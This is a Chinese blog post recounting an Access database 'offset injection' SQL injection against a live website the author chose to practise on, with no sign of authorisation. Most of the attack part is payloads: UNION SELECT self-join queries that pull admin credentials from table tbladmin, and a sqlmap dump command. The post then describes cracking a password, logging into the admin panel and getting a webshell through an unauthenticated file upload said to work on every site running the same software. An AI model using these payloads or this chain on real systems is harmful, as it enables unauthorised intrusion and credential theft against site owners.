Se7en's Blog|Learn and live

记一次Access偏移注入

字数统计: 1.1k阅读时长: 4 min
2019/03/10 Share

1

足够猥琐的思路,往往能带来意想不到的效果。

前言

一直想找个目标站,练习一下Access的偏移注入,今天遇见个站,用Sqlmap只能跑出来表名,好的就它了。

已知表名:tbladmin

偏移注入

判断字段数

1
order by 12

爆出显示位

1
union select 1,2,3,4,5,6,7,8,9,10,11,12 from tbladmin

使用偏移注入

由于列名猜解不出来(后面有猥琐思路),所以使用偏移注入

1
2
3
4
union select 1,2,3,4,5,6,7,8,9,10,11,12,* from tbladmin - 报错
union select 1,2,3,4,5,6,7,8,9,10,11,* from tbladmin - 报错
....
union select 1,2,3,4,5,6,7,8,* from tbladmin - 正常

说明了tbladmin表下有8个字段, 代表了所有字段,比如查 tbladmin 表,它有几个字段,那么 就代表几个字段

偏移注入的基本公式

order by 出来的字段数减去 * 号前的字段数,然后再用order by 出来的字段数减去2倍刚才得出来的答案

1
即 12-8=4 ,12-2*4=4

关于为什么要减去乘2的问题:由于这个(tbladmin as a inner join tbladmin as b on a.id=b.id)是tbladmin表自连接的,这样from 后面的表就会成为字段数加倍的表

这样就可以使 * 代表的字段拓宽,加大账号,密码在显示位出现的几率

1
union select 1,2,3,4,* from (tbladmin as a inner join tbladmin as b on a.id=b.id)

当前字段数已经为:4+4*2 = 12 = 12,这条语句显然是合法的

2

现在可以看到,只出现了账号admin,我们还需要密码,所以继续打乱顺序

1
2
union select 1,2,3,4,a.id,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) - 页面无变化
union select 1,2,3,4,a.id,b.id,* from (tbladmin as a inner join tbladmin as b on a.id=b.id) - admin变成1

这里有个偏移注入的核心问题

当前字段数已经为:4+2+4*2 = 14 > 12,但这条语句却依然是合法的,为什么呢?

因为 a.id 和 b.id 在 * 里是有的,所以计算机会自动去掉重复的, 保持集合里元素的唯一性,这样一来最终查询效果的一样,但是里面字段排列顺序却被打乱了,所以才造成了偏移注入的产生。

目前我们已经进行了两次打乱,但是密码还是没有偏移到可显示的位置,这时,我们就需要继续来打乱顺序

1
union select a.id,b.id,c.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id)

当前字段数已经为:0+4*3 = 12 = 12,所以这条语句还是合法的

3

继续打乱

1
union select a.id,b.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id)

4

1
union select a.id,* from ((tbladmin as a inner join tbladmin as b on a.id=b.id) inner join tbladmin as c on a.id=c.id)

5

至此,成功完成,拿去解密发现,WTF,解不出来。。。:

6

联合注入(猥琐)

有时候渗透的思路真是要猥琐至极才好,我沉思了几分钟之后,灵光一闪,掏出了我的御剑珍藏版,扫出了后台(为什么这里要写出来呢,感觉可以算是一种思路)

看下登陆框源码

凭借我多年老司机的经验,这个名字就有可能是列名了:

7

直接联合查询

1
union select 1,admin_name,admin_pass,4,5,6,7,8,9,10,11,12 from tbladmin

8

登陆后台+GetShell

但是现在出来依然是admin,直接在Sqlmap里面把表名,列名都指定出来,去dump看看还有没有其他账户

1
sqlmap.py -u url -T tbladmin -C admin_name,admin_pass --dump

9

发现ljy账户的密码是可以解密的,成功登陆后台,找到一处任意文件上传成功getshell:

{ 顺带说一下,这个文件上传链接固定,且不需要登陆,是一个通杀,凡是使用该程序的站点,基本都可以秒下来。}

10

这次又是个内网的机器,最近遇到的有点多,用了几个新出的exp,提权失败了,反弹msf也没成功。。。暂时放弃

11

CATALOG
  1. 1. 前言
  2. 2. 偏移注入
    1. 2.1. 判断字段数
    2. 2.2. 爆出显示位
    3. 2.3. 使用偏移注入
      1. 2.3.1. 偏移注入的基本公式
      2. 2.3.2. 这里有个偏移注入的核心问题
  3. 3. 联合注入(猥琐)
    1. 3.1. 看下登陆框源码
    2. 3.2. 直接联合查询
  4. 4. 登陆后台+GetShell